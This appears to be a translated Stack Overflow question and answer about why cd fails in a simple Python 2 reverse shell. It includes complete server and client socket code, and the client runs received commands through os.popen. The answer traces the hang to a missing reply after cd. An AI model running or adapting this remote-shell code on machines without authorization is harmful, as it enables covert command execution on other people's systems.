为什么 cd 在我的反向 shell 上不起作用?

Why is cd not working on my reverse shell?

我正在 Python 2 中进行反向操作 shell。但是,我无法使 cd(更改目录)工作。

这是我的 server 代码:

#!/usr/bin/python
import socket

host = socket.gethostname()
port = 1337
s = socket.socket()

s.bind((host, port))
s.listen(1)
while True:
    c, addr = s.accept()
    print "Accepted connection from", addr
    while True:
        cmd = raw_input(">>> ")
        c.send(cmd)
        print c.recv(1024)

s.close()

这是我的 client:

代码
#!/usr/bin/python
import socket, os

s = socket.socket()
host = socket.gethostname()
port = 1337

s.connect((host, port))
while True:
    cmd = s.recv(1024)
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))
    else:
        o = os.popen(cmd).read()
        s.send(o)

我做错了什么?为什么更改目录不起作用?

编辑:命令行没有 return 新的 >>> 提示符。

这里的问题是服务器代码需要对 每个 命令的响应,但是对于 cd 命令,客户端不提供任何响应。

在您的服务器上:

while True:
    cmd = raw_input(">>> ")
    c.send(cmd)              # send the command to the client
    print c.recv(1024)       # block and then read (up to) 1024 characters from the client

但是在客户端中你这样做:

while True:
    cmd = s.recv(1024)            # block and then read (up to) 1024 characters from the server
    if cmd[:2] == "cd":
        os.chdir(str(cmd[3:]))    # no response sent for the `cd` case
    else:
        o = os.popen(cmd).read()
        s.send(o)                 # send a response to the server for all other cases

一个简单的解决方案是让 cd 案例 return 一个服务器丢弃的 OK 响应。

请注意,在 Python 套接字中,因此 socket.recv()blocking operation by default